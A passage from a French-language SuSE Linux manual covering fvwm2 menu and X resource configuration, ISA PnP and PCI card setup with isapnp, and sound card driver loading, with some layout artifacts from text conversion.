ci-contre. Supprimez dans ce fichier toutes les entrées de menus qui font référence aux icônes. L'état de départ dans le fichier 9.5.2 doit être modifié selon l'exemple présenté dans le fichier 9.5.3. _______________________________________________________________________________________________________________________|| |||||||| AddToMenu thiswmpopup "Fvwm2" Title | |||||||| | |||||||| + "Autre gestionnaire de fenêtres%small.warning_3d.xpm%" \ | |||||||| | |||||||| Popup otherwmpopup | |||||||| + "Configuration%small.checklist2_3d.xpm%" Popup susewmpopup | |||||||| + "" Nop | |||||||| + "Fvwm2 Nouveau démarrage%small.restart_suse_3d.xpm%" Restart fvwm2 | |||||||| | |||||||| + "Quitter Fvwm2 et X%small.exit.xpm%" Function QuitSave | |||||||| | |||||||| # end popup thiswmpopup | ||||||||_______________________________________________________________________________________________________________ | fichier 9.5.2: .fvwm2rc avec icônes pour les entrées de menus _______________________________________________________________________________________________________________________|||| |||||||| AddToMenu thiswmpopup "Fvwm2" Title | |||||||| | |||||||| + "Autre gestionnaire de fenêtres" Popup otherwmpopup | |||||||| + "Configuration" Popup susewmpopup | |||||||| + "" Nop | |||||||| + "Fvwm2 Nouveau démarrage" Restart fvwm2 | |||||||| | |||||||| + "Quitter Fvwm2 et X" Function QuitSave | |||||||| | |||||||| # end popup thiswmpopup | ||||||||_______________________________________________________________________________________________________________ | fichier 9.5.3: .fvwm2rc sans icônes pour les entrées de menus Fvwm ou selon le cas Fvwm95 devrait démarrer beaucoup plus rapidement. Et comme nous l'avons déjà précisé, vous conserverez toutes les modifica- * * 285 9. Le gestionnaire_de_fenêtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________* *_______________________________________@ tions que vous apportées à votre fichier de configuration personnel si vous lancez de nouveau SuSEwm à quelque moment que ce soit. 9.6 Configuration générale du système X Window Comme nous l'avons promis, nous allons maintenant nous occuper de l'aspect et des fonctions de votre bureau ~ pourquoi se contenter de prêt à porter quand on peut avoir du sur mesure ? Il y a deux endroits où vous pouvez faire des retouches : ~ les paramètres par défaut des applications du système X Window ~ le ou les fichiers de configuration déjà présentés à la page 277. Paramètres par défaut des applications X Window Configuration globale Presque toutes les applications programmées pour le système X Window ont une configuration prédéfinie. Celle-ci se trouve dans un fichier faisant partie du paquetage correspondant et elle est habituellement copiée, lors de l'instal- lation, dans le répertoire /usr/X11R6/lib/X11/app-defaults. On trouve ici des fichiers tels que Xarchie. Comme son nom le laisse supposer, il s'agit d'un fichier central de configuration pour le programme xarchie . Donnez un coup d'oeil à ce fichier en utilisant. pour cela less (voir paragraphe 19.7.3 page 489). Vous y verrez des lignes semblables à celle-ci : Xarchie.color*background: powder blue Ne vous laissez pas effrayer par des lignes qui paraissent cryptiques, il n'est pas nécessaire de tout comprendre immédiatement. Chaque programme sous X est construit à partir de ``widgets''. On doit considérer les widgets plus ou moins comme des ``pierres à bâtir''. Il existe un widget principal qui est la fenêtre principale de l'application lancée en premier. Tous les autres widgets sont en quelque sorte les enfants de cette fenêtre principale. Chaque widget a donc exactement un ancêtre. Il peut n'avoir aucun descendant mais peut aussi en avoir un ou plusieurs. Chacun de ces widgets peut avoir un nom qui le distingue clairement des autres. Pour augmenter encore un peu la confusion générale, nous devons préciser qu'il convient de faire la différence entre fenêtres et widgets. Une barre de défilement (angl. scrollbar), par exemple, est un widget (un widget réduit à sa plus simple expression). Une fenêtre, par contre, peut être composée d'une barre de défilement, d'une zone de texte et d'autres choses encore (widget complexe). Comme les widgets sont rangés, les uns par rapport aux autres, comme dans un arbre généalogique, on parle d'un arbre de widgets. Chaque fenêtre dans une application a un nom qui la distingue des autres dans l'arbre des wid- gets. Il s'ensuit que l'on peut accéder à chaque fenêtre d'un programme sous un nom bien précis. Dans la ligne donnée précédemment en exemple, cela signifie : 286 _____________________________________________________9.6.__Configuration_générale_du_système_X_Window_______________________* *______________________ ~ Le premier mot avant le point (Xarchie ) est le nom du widget principal de l'application xarchie (il est de règle de faire commencer par une majus- cule les noms des paramètres par défaut des applications qui concernent les widgets de ce type). ~ Après le point, nous voyons `color'. Il s'agit bien sûr de la couleur, mais laquelle ? ~ Nous voyons ensuite une astérisque qui aurait aussi bien pu être un point : ~ Un point signifie qu'entre ces deux fenêtres il n'en existe aucune autre dans la hiérarchie. ~ Une astérisque signifie qu'entre les deux fenêtres il peut y en avoir une ou plusieurs autres. ~ Le mot ``background'' nous indique enfin quelle couleur va être modifiée. On peut ici spécifier une couleur définie. Une liste de toutes les couleurs pouvant être utilisées dans un système X Window se trouve dans le fichier /usr/X11R6/lib/X11/rgb.txt. Paramètres spécifiques à l'utilisateur Chaque utilisateur a bien sûr la possibilité d'effectuer des configurations per- sonnalisées. Il existe pour cela, dans le répertoire HOME de l'utilisateur, un fi- chier ~/.Xresources. Le point `.' placé devant le nom signifie qu'il s'agit d'un fichier ``caché''. Pour en savoir plus sur les fichiers ``caché'', lisez le pa- ragraphe 19.7.4 page 490 Ce fichier est destiné à contenir les paramètres spécifiques à l'utilisateur. Vous pouvez, par exemple, décider que toutes les fenêtres doivent avoir un fond jaune sauf la fenêtre principale qui doit être rouge. Pour revenir à l'exemple ci-dessus, cela signifie que vous pouvez, dans votre propre fichier ~/.Xresources, remplacer les configurations par défaut ins- crites dans les fichiers app-defaults spécifiques au système. Insérez par exemple dans votre fichier ~/.Xresources la ligne suivante : Xarchie.color*background: gold Ceci aura pour conséquence que l'application xarchie sera lancée pour vous (mais seulement pour vous) avec un fond doré. Vous pouvez modifier non seulement les couleurs mais presque toutes les pro- priétés de vos fenêtres. Un programme qui s'avère très utile dans ce contexte est l'éditeur de ressources editres (angl. edit resources). Il vous permet d'ob- tenir l'affichage des ressources d'une application et de les modifier de façon sélective. Voici maintenant quelques exemples de paramètres que vous pouvez utiliser : Xarchie.color*background: powder blue Xarchie.color*SimpleMenu*background: wheat Xarchie.color*Command*background: wheat Xarchie.color*MenuButton*background: wheat Xarchie.color*Text*background: wheat Xarchie*font: 9x15 Il est en principe possible de déterminer de cette manière presque toutes les propriétés d'un programme X. Mais dans la pratique, on se limite la plupart * * 287 9. Le gestionnaire_de_fenêtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________* *_______________________________________@ du temps à paramétrer les couleurs, les polices de caractères et la géométrie (taille et position). Les options dont vous disposez ici sont presque toujours indiquées dans la page de man du programme concerné ou dans le fichier app-defaults qui s'y rapporte. Dans le fichier /usr/X11R6/lib/X11/rgb.txt, vous trouverez le nom des couleurs que vous pouvez employer. En lançant le programme xfontsel ou xlsfonts , vous verrez les polices de caractères dont vous pouvez disposer. Paramètres de démarrage des applications Pour modifier l'aspect d'une configuration, il existe une troisième possibilité qui consiste à spécifier des paramètres lors de son lancement. Vous pouvez bien sûr aussi spécifier ces paramètres dans le fichier de configuration du gestionnaire de fenêtres lorsque vous y démarrez des programmes. Vous pouvez par exemple lancer explicitement un programme avec une autre couleur de texte et de fond (bg = ``background'', fg = ``foreground'') dans la mesure où ceci est supporté par le programme. xterm -bg darkblue -fg white Résultat : un Xterm bleu avec des caractères blancs. Comment agissent ces configurations ? Par principe, les configurations au niveau du système sont faites au démarrage du système X Window. Les paramètres sont gérés par le serveur X dans une base de données (angl. X Resource DataBase, xrdb). Pour que la nouvelle configuration soit prise en compte au niveau système, il est indispensable de faire effectuer une nouvelle lecture de la base de données ressources après l'avoir modifiée manuellement. Cela peut se faire par la commande tux@terre: > xrdb ~/.Xresources Lors de la création d'une base de données ressources interne au moment du démarrage du serveur X, les différents paramètres pour les applications sont traités dans l'ordre suivant : ~ Il est d'abord lu, dans /usr/X11R6/lib/X11/app-defaults, les para- mètres par défaut définis au niveau système pour le programme concerné. ~ Si vous avez vos propres configurations dans le fichier ~/.Xresources de votre répertoire personnel, celles-ci écraseront les configurations réali- sées au niveau système. ~ Si vous lancez une application (par exemple dans le fichier de configura- tion du gestionnaire de fenêtres ou par ligne de commande) avec des pa- ramètres explicitement spécifiés, ceux-ci auront priorité absolue et écra- seront les autres paramètres. Le programme xrdb peut aussi vous montrer l'affichage des configurations que vous venez de faire : tux@terre: > xrdb -q pourrait produire l'affichage suivant : 288 _____________________________________________________9.6.__Configuration_générale_du_système_X_Window_______________________* *______________________ emacs*geometry: 100x45-5-5 netscape.geometry: 610x760+140+30 xdvi*geometry: 720x895+250+5 Pour terminer ce chapitre, encore un conseil pratique : _______________________________________________________________________________________________________________________|| |||||||| S'il devait arriver qu'un programme, malgré modification explicite des ||| | |||||||| || | |||||||| paramètres dans ~/.Xresources et nouvelle lecture du contenu de la base || | |||||||| de données ressources, ne tienne pas compte de la nouvelle configuration || | |||||||| || | |||||||| (par exemple nouvelle police de caractères), il est souvent possible de || | |||||||| remédier à ce problème en changeant la casse des lettres dans les noms || | |||||||| || | |||||||| des widgets. || | ||||||||_______________________________________________________________________________________________________________||_ * * 289 9. Le gestionnaire_de_fenêtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________* *_______________________________________@ 290 Cinquième partie Matériel sous Linux 291 Chapitre 10 L'environnement matériel de l'ordinateur Linux 10.1 Remarque préliminaire Il est maintenant possible d'intégrer plus ou moins facilement la plupart des composants matériels dans un système Linux. Ce chapitre décrit comment s'y prendre et vous fait connaître les logiciels disponibles. Pour les problèmes liés à l'impression voir chapitre 12 page 333 et pour ceux concernant la télécopie le paragraphe 6.10 page 210. Pour l'utilisation de périphériques ISDN/RNIS consultez le paragraphe 6.2 page 173. Le matériel PCMCIA et la mise en oeuvre d'IrDA sont décrits au chapitre 11 page 317. 10.2 Cartes enfichables Dans un PC standard, on utilise principalement des cartes bus enfichables ISA (``Industry Standard Architecture'') et PCI (``Peripheral Component Intercon- nect''). L'AGP (``Accelerated Graphics Port'') constitue en quelque sorte une excep- tion car les périphériques connectés à ce port sont également visibles sur le bus PCI. Ils sont logiquement traités de la même manière que les cartes bus PCI ~ Les cartes bus PCMCIA se rencontrent surtout dans les ordinateurs portables tels que laptops et notebooks. Ces cartes et leur configuration sont décrites au chapitre 11 page 317. 10.2.1 Cartes ISA et PCI Nous allons maintenant porter notre attention sur les cartes bus ISA et PCI. Ensuite la configuration de ces cartes sera décrite en prenant pour exemple les cartes son. Cartes ISA La carte ISA constitue la forme la plus ancienne de cartes enfichables com- patibles PC. Le bus a une largeur de 8 ou 16 bits et il est cadencé à 8MHz au maximum. De nombreuses cartes mères permettent de cadencer le bus à une vitesse plus élevée ~ mais ceci cause souvent des problèmes. Les cartes ISA peuvent être classées en trois catégories. * * 293 10. L'environnement_matériel_de_l'ordinateur_Linux________________________________________________________________________________* *_______________________________________@ Legacy-Cards : Ces cartes doivent être configurées complètement à la main. Les ressources, telles qu'adresses d'E/S, interruptions et canaux DMA doivent être définies par l'utilisateur à l'aide de cavaliers et de microcom- mutateurs sur la carte. L'utilisateur doit également veiller lui-même à ce que les ressources telles que par exemple IRQ ou canal DMA ne soient pas utilisées simultanément par plusieurs cartes. La configuration de telles cartes s'avère donc souvent assez compliquée. Jumperless-Cards : L'avantage que présentent ces cartes, par rapport à la première génération de cartes ISA, réside dans le fait qu'il n'est plus né- cessaire d'utiliser des cavaliers pour l'attribution des ressources. Un pro- gramme de configuration spécial assume cette tâche. Mais le plus souvent ce programme n'est disponible que pour DOS et ne peut pas être utilisé sous Linux. PnP-Cards : Les cartes Plug and Play constituent l'évolution logique des cartes sans cavaliers. Ces cartes contiennent des données sur leur confi- guration ainsi qu'une liste des configurations possibles. Un programme spécial ou un pilote peut repérer les cartes PnP présentes dans le système et les configurer toutes de telle manière qu'elles n'aient aucune influence les unes sur les autres. Tant qu'une carte n'a pas été configurée, elle n'existe pas de facto pour le système. Sous Linux, on utilise le paquetage isapnp de la série ap pour la configuration des cartes PnP. Ce paquetage fournit les deux programmes pnpdump et isapnp . Comment activer les cartes PnP avec l'outil isapnp ? Procédez de la manière suivante : ~ Connectez-vous au système en tant qu'utilisateur `root'. ~ Si le répertoire /etc contient déjà un fichier isapnp.conf, commencez tout d'abord par le sauvegarder : terre:/ # mv /etc/isapnp.conf /etc/isapnp.conf.bak ~ Créez, avec la commande terre:/ # pnpdump -c > /etc/isapnp.conf le fichier /etc/isapnp.conf. Le paramètre -c a pour effet que pnp- dump prépare le fichier de sortie de telle manière que les périphériques PnP puissent immédiatement être activés. ~ Avec la commande terre:/ # isapnp /etc/isapnp.conf vous activez la carte PnP dans votre machine. ~ Sous SuSE Linux, elle est activée automatiquement à chaque démarrage du système. Sources possibles d'erreurs Symptôme : pnpdump affiche un message tel que : "No boards found". Il peut aussi arriver qu'une ou plusieurs des cartes ISA PnP installées ne soient pas reconnues. Explications possibles : 294 ______________________________________________________________________________________________10.2.__Cartes_enfichables_____* *______________________ ~ Vous n'avez pas installé de carte ISA PnP dans votre système : Vérifiez quelles cartes sont installées et lisez la documentation les concernant. Demandez le cas échéant au revendeur chez lequel vous vous êtes procuré votre ordinateur quelles sont les cartes installées. ~ Les cartes sont défectueuses : Vérifiez la bonne position des cartes dans les emplacements destinés à l'intégration. Testez leur bon fonc- tionnement sous un autre système d'exploitation. ~ Il existe des cartes qui peuvent être utilisées soit comme cartes ISA Pnp, soit comme cartes auxquelles on peut assigner des res- sources déterminées (exemple : certaines cartes Ethernet ISA NE2000 10 Mbits). Le plus souvent, il est possible avec un programme DOS de basculer entre les deux modes. De telles cartes n'apparaissent pas toujours dans l'affichage de pnpdump , cela dépend de leur configura- tion. ~ Quelques rares cartes ISA-PnP ne sont apparemment pas utilisables dans un système conjointement à d'autres cartes ISA-PnP. Dans un tel cas, une seule carte est visible dans la sortie de pnpdump . Si cela se produit, il est éventuellement possible de configurer l'une des cartes (par exemple à l'aide de cavaliers directement sur la carte) de telle manière qu'elle ne fonctionne plus en tant que carte ISA-PnP mais en utilisant des ressources fixes. ~ Il semble qu'il existe quelques cartes (très rares) qui se réinitialisent après invocation de pnpdump . S'il s'agit par exemple d'une carte SCSI et si la partition racine est reliée à ce périphérique, votre système risque de se planter. Si vous vous voyez confronté à ce problème, vous devez configurer la carte (si elle est supportée) de telle manière qu'elle ne fonctionne plus en tant que carte ISA-PnP. Il est aussi possible de renoncer complètement à initialiser la carte sous Linux et d'amorcer le système au moyen de loadlin . Dans ce cas, la carte est déjà initialisée. Symptôme : Vous recevez, lors de l'exécution de la commande isapnp ou au moment de l'amorçage, un message de ce genre : * LD setting failed, this may not be a problem. * Try adding (VERIFYLD N) to the top of your script * * Error occured requested `LD2` on or around line 319 * --- further action aborted Solution : Suivez le conseil donné par le message d'erreur et ajoutez au début de /etc/isapnp.conf la ligne (VERIFYLD N) Ceci donne par exemple # [...] # (DEBUG) (VERIFYLD N) (READPORT 0x0203) (ISOLATE) (IDENTIFY *) # [...] * * 295 10. L'environnement_matériel_de_l'ordinateur_Linux________________________________________________________________________________* *_______________________________________@ Symptôme : Vous recevez, lors de l'exécution de la commande isapnp ou au moment de l'amorçage, un message de ce genre : [...] /etc/isapnp.conf:66 -- Fatal - resource conflict allocating 16 bytes of IO at 220 (see /etc/isapnp.conf) /etc/isapnp.conf:66 -- Fatal - IO range check attempted while device activated /etc/isapnp.conf:66 -- Fatal - Error occurred executing request ' ' --- further action aborted Solution : Vous avez probablement un conflit entre les valeurs choisies dans le fichier /etc/isapnp.conf et les ressources déjà utilisées dans votre système. Faites concorder le fichier /etc/isapnp.conf avec les infor- mations qui se trouvent sous /proc au sujet des ressources assignées. Ce ne sera sans doute pas nécessaire si vous faites procéder à l'assignation par pnpdump avec l'option -c . ________________________________________________________________________________________________________* *________|| | Vous pouvez dans certains cas rencontrer des difficultés si la configuration * * |||| | automatique des ressources ISA-PnP est activée par le BIOS dans le Setup * * ||| | * * ||| | de votre machine. Désactivez cette fonction le cas échéant. La configura- * * ||| | tion étant effectuée au moyen de pnpdump /isapnp , cette option Setup n'est * * ||| | * * ||| | pas indispensable. * * ||| |_______________________________________________________________________________________________________* *________|||_ Si vous avez des problèmes dépassant ce cadre, nous vous conseillons de consulter la documentation relative au paquetage isapnp. Vous la trouverez sur votre système dans le répertoire /usr/doc/packages/isapnp. À la fin de ce paragraphe, nous nous pencherons sur la configuration d'une carte PnP en prenant l'exemple d'une carte son. Cartes PCI Les cartes bus PCI n'ont normalement pas besoin d'être configurées par l'uti- lisateur. Lorsque le standard pour les bus PCI a été adopté, on a tenté de remédier à toutes les déficiences présentées par les anciens systèmes bus et il a été prévu une autoconfiguration des cartes. Chaque carte PCI est activée par le BIOS de la machine lors de l'amorçage. L'utilisateur peut souvent influer sur l'assignation des interruptions par des réglages effectués dans le BIOS de la machine. Lors du démarrage, Linux lit la configuration des périphériques PCI directement à partir du BIOS PCI et utilise ensuite ces données pour toute information sur le sous-système PCI. Vous pouvez, avec la commande terre:/ # lspci -tv faire établir une liste des périphériques sur bus PCI reconnus par Linux : Au prochain paragraphe, nous configurerons aussi une carte son PCI. 10.3 Cartes son On trouve actuellement sur le marché deux types de cartes son. Il s'agit des cartes ISA et PCI, ces dernières remplaçant de plus en plus souvent les cartes 296 __________________________________________________________________________________________________________10.3.__Cartes_son_* *______________________ _______________________________________________________________________________________________________________________|| |||||||| -[00]-+-00.0 Intel Corporation 440BX/ZX - 82443BX/ZX Host bridge | ||||||||| +-01.0-[01]----00.0+-0Nvidia4.Corporation0 RivaInTNTtel Corporation 82371AB PIIX4 ISA || |||||||| +-04.1 Intel Corporation 82371AB PIIX4 IDE | |||||||| +-04.2 Intel Corporation 82371AB PIIX4 USB | |||||||| | |||||||| +-04.3 Intel Corporation 82371AB PIIX4 ACPI | |||||||| +-06.0 Adaptec 7890 | |||||||| 09.0 Digital Equipment Corporation DECchip 21140 [FasterNet] | ||||||||_______________________________________________________________________________________________________________ | affichage à l'écran 10.2.1: Ausgabe des Befehls lspci -tv ISA. Il faut donc escompter que dans quelques temps il ne sera plus produit de cartes son ISA. Il existe actuellement sous SuSE Linux deux solutions pour le support des cartes son. Vous pouvez, soit installer le paquetage opso ou le paquetage opsod_up (démo) ou pour les machines multiprocesseurs, le paquetage opso_smp ou le paquetage opsodsmp (démo) de la série pay, soit utiliser les modules du noyau pour le support son. 10.3.1 OSS et versions de démonstration d'OSS Ces paquetages constituent des outils idéaux pour la configuration de cartes son ISA et ISA-PnP. Le paquetage opso et le paquetage opso_smp inclus dans notre distribution ont déjà été enregistrés pour les clients de SuSE et sont ainsi opérationnels sans aucune restriction. Le paquetage opsod_up et le paquetage opsod_smp par contre ne sont pas encore opérationnel et leur fonctionnement est limité à 20 minutes. Pour pouvoir utiliser le pilote son OSS, procédez de la manière suivante : ~ Installez, avec YaST , l'un des paquetages de la série pay mentionnés ci- dessus. ~ Passez, comme utilisateur `root' au répertoire d'installation correspon- dant sous /tmp et lancez le programme oss-install : terre:/ # cd /tmp/opso-3.8.1z terre:/tmp/opso-3.8.1z # ./oss-install ~ Le programme vous guide dans l'installation du pilote. ~ Lorsque le programme a terminé son exécution, vous pouvez avec la com- mande terre:/tmp/opso-3.8.1z # ./oss-install charger le pilote OSS et l'utiliser. Si vous voulez utiliser les modules du noyau pour le support son, vous devriez lire le paragraphe suivant. 10.3.2 Comment configurer les cartes son sous Linux ? Pour utiliser une carte son sous Linux, il est indispensable d'exécuter les phases suivantes : ~ Identification du matériel : ~ Quelle carte faut-il configurer (constructeur, circuit sur la carte) ? * * 297 10. L'environnement_matériel_de_l'ordinateur_Linux________________________________________________________________________________* *_______________________________________@ ~ Quel type de matériel est utilisé (ISA, ISA-PnP, PCI) ? ~ Configuration du matériel : ~ Mise en place des cavaliers ou configuration au moyen des outils isapnp. ~ Installation/Chargement du pilote : ~ Chargement des modules du noyau ou démarrage du pilote son OSS . Voyons maintenant en détail chacune de ces étapes. ~ Identification du matériel : ~ Cartes son Legacy sur bus ISA Ces cartes sont encore répandues et on les rencontre surtout dans des configurations de machines déjà anciennes. La configuration se fait par la mise en place de différents cavaliers sur les cartes mêmes. Les ressources (adresses d'E/S, IRQ et DMA) sont ainsi allouées sans am- biguïté). ~ Cartes son PnP sur bus ISA Les cartes de ce type sont similaires aux cartes Legacy mais les res- sources (adresses d'E/S, IRQ et DMA) sont configurées à travers une interface logicielle. Il n'est donc plus nécessaire de placer des cavaliers sur les cartes. ~ Cartes son sur bus PCI Ce sont les cartes son PCI qui sont les plus simples à configurer. Toutes les cartes bus PCI enfichables sont configurées automatiquement par la machine. Les interfaces logiques permettent aux pilotes d'obtenir des informations sur les ressources de la carte. ~ Configuration du matériel : ~ Cartes son Legacy sur bus ISA : Vous devez configurer les différentes ressources en tenant compte des capacités de votre carte son. Dans l'exemple qui va suivre, nous allons configurer une carte Creative Soundblaster 16 : Adresses d'E/S Voici les adresses d'E/S importantes pour cette carte : ~ Audio I/O ~ Game Port ~ MPU-401 ~ FM-Synthese Seules les adresses pour Audio I/O (0x220, 0x240, 0x260 ou 0x280) et MPU-401 (0x300 ou 0x330) peuvent être modifiées. Les adresses pour Game-Port (0x200) et FM-Synthese (0x388) sont prédéfinies et ne sont pas modifiables. Interruptions (IRQ) La carte requiert sa propre interruption. Celle-ci peut être fixée à 2, 5, 7 ou 10. 298 __________________________________________________________________________________________________________10.3.__Cartes_son_______* *________________ Canaux DMA Il est possible d'assigner les canaux 0, 1, 3, 5, ou 7. Il a été prévu ici par défaut DMA 1 pour un transfert de données de 8 bits et DMA 5 pour un transfert de 16 bits Modifiez les cavaliers sur la carte son de telle manière que la carte ne provoque pas de conflits de ressources avec d'autres cartes présentes dans la machine. Notez ces paramètres. ~ Cartes son PnP sur bus ISA : Les ressources de ces cartes doivent être activées par des logiciels spéciaux. L'utilisation d'OSS facilite énormément la configuration des cartes PnP car ce programme recherche automatiquement la carte et la configure tout de suite. Les cartes PnP peuvent aussi être utilisées avec les pilotes du noyau. Il est toutefois nécessaire que la carte soit activée avant le chargement des modules du noyau. Sous Linux, le paquetage isapnp trouve ici son emploi. Le programme pnpdump crée un fichier de configuration dans lequel toutes les ressources disponibles dans le système sont listées. Cette liste peut ensuite être éditée manuellement afin que les ressources des cartes soient réparties de manière différentes. La commande terre:/ # pnpdump -c > /etc/isapnp.conf crée le fichier /etc/isapnp.conf. Dans ce qui suit, une carte Creative Soundblaster AWE64 va être acti- vée : # This is free software, see the sources for details. # This software has NO WARRANTY, use at your OWN RISK # # For details of this file format, see isapnp.conf(5) # # For latest information and FAQ on isapnp and pnpdump see: # http://www.roestock.demon.co.uk/isapnptools/ # # Compiler flags: -DREALTIME -DNEEDSETSCHEDULER -DABORT_ONRESERR # # Trying port address 0203 # Trying port address 020b # Board 1 has serial identifier 54 17 0e db 74 9e 00 8c 0e # (DEBUG) (READPORT 0x020b) (ISOLATE PRESERVE) (IDENTIFY *) (VERBOSITY 2) (CONFLICT (IO FATAL)(IRQ FATAL)(DMA FATAL)(MEM FATAL)) # or WARNING # Card 1: (serial identifier 54 17 0e db 74 9e 00 8c 0e) # Vendor Id CTL009e, Serial Number 386849652, checksum 0x54. # Version 1.0, Vendor version 2.0 # ANSI string -->Creative SB AWE64 Gold<-- # # Logical device id CTL0044 # Device supports vendor reserved register @ 0x38 # Device supports vendor reserved register @ 0x3a 299 10. L'environnement_matériel_de_l'ordinateur_Linux________________________________________________________________________________* *_______________________________________@ # Device supports vendor reserved register @ 0x3b ## DeviceDesupportsvivendorcereservedsuregisterpp@or0x3cts vendor reserved register * *@ 0x3d # # Edit the entries below to uncomment out the configuration required. # Note that only the first value of any range is given, this may be # changed if required # Don't forget to uncomment the activate (ACT Y) when happy (CONFIGURE CTL009e/386849652 (LD 0 # ANSI string -->Audio<-- # Multiple choice time, choose one only ! # Start dependent functions: priority preferred # IRQ 5. # High true, edge sensitive interrupt (by default) (INT 0 (IRQ 5 (MODE +E))) # First DMA channel 1. # 8 bit DMA only # Logical device is not a bus master # DMA may execute in count by byte mode # DMA may not execute in count by word mode # DMA channel speed in compatible mode (DMA 0 (CHANNEL 1)) # Next DMA channel 5. # 16 bit DMA only # Logical device is not a bus master # DMA may not execute in count by byte mode # DMA may execute in count by word mode # DMA channel speed in compatible mode (DMA 1 (CHANNEL 5)) # Logical device decodes 16 bit IO address lines # Minimum IO base address 0x0220 # Maximum IO base address 0x0220 # IO base alignment 1 bytes # Number of IO addresses required: 16 (IO 0 (SIZE 16) (BASE 0x0220)) # Logical device decodes 16 bit IO address lines # Minimum IO base address 0x0330 # Maximum IO base address 0x0330 # IO base alignment 1 bytes # Number of IO addresses required: 2 (IO 1 (SIZE 2) (BASE 0x0330)) # Logical device decodes 16 bit IO address lines # Minimum IO base address 0x0388 # Maximum IO base address 0x0388 # IO base alignment 1 bytes # Number of IO addresses required: 4 (IO 2 (SIZE 4) (BASE 0x0388)) # End dependent functions (NAME "CTL009e/386849652[0]{Audio }") (ACT Y) )) # # Logical device id CTL7002 # Device supports vendor reserved register @ 0x39 # Device supports vendor reserved register @ 0x3a # Device supports vendor reserved register @ 0x3b # Device supports vendor reserved register @ 0x3c 300 __________________________________________________________________________________________________________10.3.__Cartes_son________* *_______________ # Device supports vendor reserved register @ 0x3d ## Edit the entries below to uncomment out the configuration required. # Note that only the first value of any range is given, this may be changed if # required # Don't forget to uncomment the activate (ACT Y) when happy (CONFIGURE CTL009e/386849652 (LD 1 # Compatible device id PNPb02f # ANSI string -->Game<-- # Multiple choice time, choose one only ! # Start dependent functions: priority preferred # Logical device decodes 16 bit IO address lines # Minimum IO base address 0x0200 # Maximum IO base address 0x0200 # IO base alignment 1 bytes # Number of IO addresses required: 8 (IO 0 (SIZE 8) (BASE 0x0200)) # End dependent functions (NAME "CTL009e/386849652[1]{Game }") (ACT Y) )) # # Logical device id CTL0023 # Device supports vendor reserved register @ 0x38 # Device supports vendor reserved register @ 0x3a # Device supports vendor reserved register @ 0x3b # Device supports vendor reserved register @ 0x3c # Device supports vendor reserved register @ 0x3d # # Edit the entries below to uncomment out the configuration required. # Note that only the first value of any range is given, this may be changed if # required # Don't forget to uncomment the activate (ACT Y) when happy (CONFIGURE CTL009e/386849652 (LD 2 # ANSI string -->WaveTable<-- # Multiple choice time, choose one only ! # Start dependent functions: priority preferred # Logical device decodes 16 bit IO address lines # Minimum IO base address 0x0620 # Maximum IO base address 0x0620 # IO base alignment 1 bytes # Number of IO addresses required: 4 (IO 0 (SIZE 4) (BASE 0x0620)) (IO 1 (BASE 0x0a20)) (IO 2 (BASE 0x0e20)) # End dependent functions (NAME "CTL009e/386849652[2]{WaveTable }") (ACT Y) )) # End tag... Checksum 0x00 (OK) # Returns all cards to the "Wait for Key" state (WAITFORKEY) 301 10. L'environnement_matériel_de_l'ordinateur_Linux________________________________________________________________________________* *_______________________________________@ ~ Cartes son sur bus PCI : Les cartes son PCI sont très simples à configurer. Le bus PCI est confi- guré automatiquement par la machine et il distribue ainsi automati- quement les ressources des différentes cartes. Les pilotes peuvent de- mander quelles sont les ressources à travers des interfaces logicielles définies. ~ Installation/chargement des pilotes : À la dernière étape, la configuration matérielle doit être communiquée aux pilotes du noyau. Ceci se fait par des entrées dans le fichier /etc/ modules.conf. ~ Cartes ISA et PnP : Les modules précompilés pour des types de cartes supportés par le noyau sont fournis avec SuSE Linux. Ils sont inclus dans le pa- quetage kernmod. Après installation des sources du noyau (paque- tage lx_suse), vous trouverez dans le répertoire /usr/src/linux/ Documentation/sound des informations sur les modules à utiliser. Contrôlez, dans le fichier /etc/modules.conf, que les alias définis pour le son ne sont pas fixés à off . Le cas échéant, vous devrez mettre ces alias en commentaire en ajoutant le caractère `#' en début de ligne ainsi qu'il a été fait dans le fichier 10.3.1 page 306. Si vous possédez, par exemple, une carte de la famille Soundblaster 16 , vous pouvez charger les pilotes pour les fonctions fournies par la carte (audio, MPU401 et synthétiseur) en tapant par exemple la commande suivante : terre:/ # modprobe sb io=0x220 irq=5 dma=1 dma16=5 mpu_io=0x330 Cette commande charge le pilote proprement dit pour la Soundblas- ter 16. Ce même module est aussi requis pour la carte AWE64. Le pilote pour le MPU401 est un élément du pilote de la carte son. Les modules uart401, sound, soundlow et soundcore, indispensables pour utiliser toutes les fonctions de la carte son, seront chargés plus tard automatiquement. Ils fournissent quelques pilotes de bas niveau ainsi que toutes les fonctions communes aux modules son. Vous pou- vez, avec la commande terre:/ # lsmod vous assurer que ces modules ont effectivement été chargés. terre:/ # modprobe adlib_card io=0x388 Cette commande charge le module pour le synthétiseur de la carte son. Les pilotes énumérés dans le tableau 10.1 page ci-contre sont actuelle- ment disponibles. Vous trouverez une liste des paramètres possibles pour les diffé- rents modules dans le chapitre sur les paramètres du noyau (para- graphe 14.3.4 page 383). ~ Cartes PCI Nous allons maintenant vous présenter, étape par étape, la configuration des cartes son en prenant comme exemple une Creative Soundblaster PCI 64/128 : 302 __________________________________________________________________________________________________________10.3.__Cartes_son____* *___________________ _______________________________________________________________________________________________________________________ ad1816.o AD1816 Chip (par exemple TerraTec Base1/64) ad1848.o AD1848 Chip (MSS) adlib_card.o Pilote générique OPLx cmipci.o CMI8338, expérimental ( ?) cs4232.o Crystal 423x, chipsets es1370.o Ensoniq 1370, chipset (voir PCI64/128) es1371.o Creative Ensoniq 1371, chipset (voir PCI64/128) esssolo1.o Solo1 ES1938/ES1969 gus.o Gravis Ultrasound mad16.o MAD16 maui.o Turtle Beach Maui et Tropez mpu401.o MPU401 msnd.o Turtle Beach MultiSound msnd_classic.o Turtle Beach Classic/Monterey/Tahiti msnd_pinnacle.o Turtle Beach Pinnacle/Fiji nm256.o Neo Magic opl3.o OPL3 opl3sa.o OPL3-SA1 opl3sa2.o YMF711, YMF715, YMF719, OPL3-SA2, OPL3-SA3, OPL3-SAx pas2.o Pro Audio Spectrum pss.o Personal Sound System (ECHO ESC614) sb.o Sound Blaster et Clones sgalaxy.o Aztech Sound Galaxy softoss2.o Software-MIDI-Synthesizer, pilote sonicvibes.o S3 Sonic Vibes sound.o Fonctions requises par tous les modules soundlow.o Pilote son bas niveau soundcore.o Pilote de base 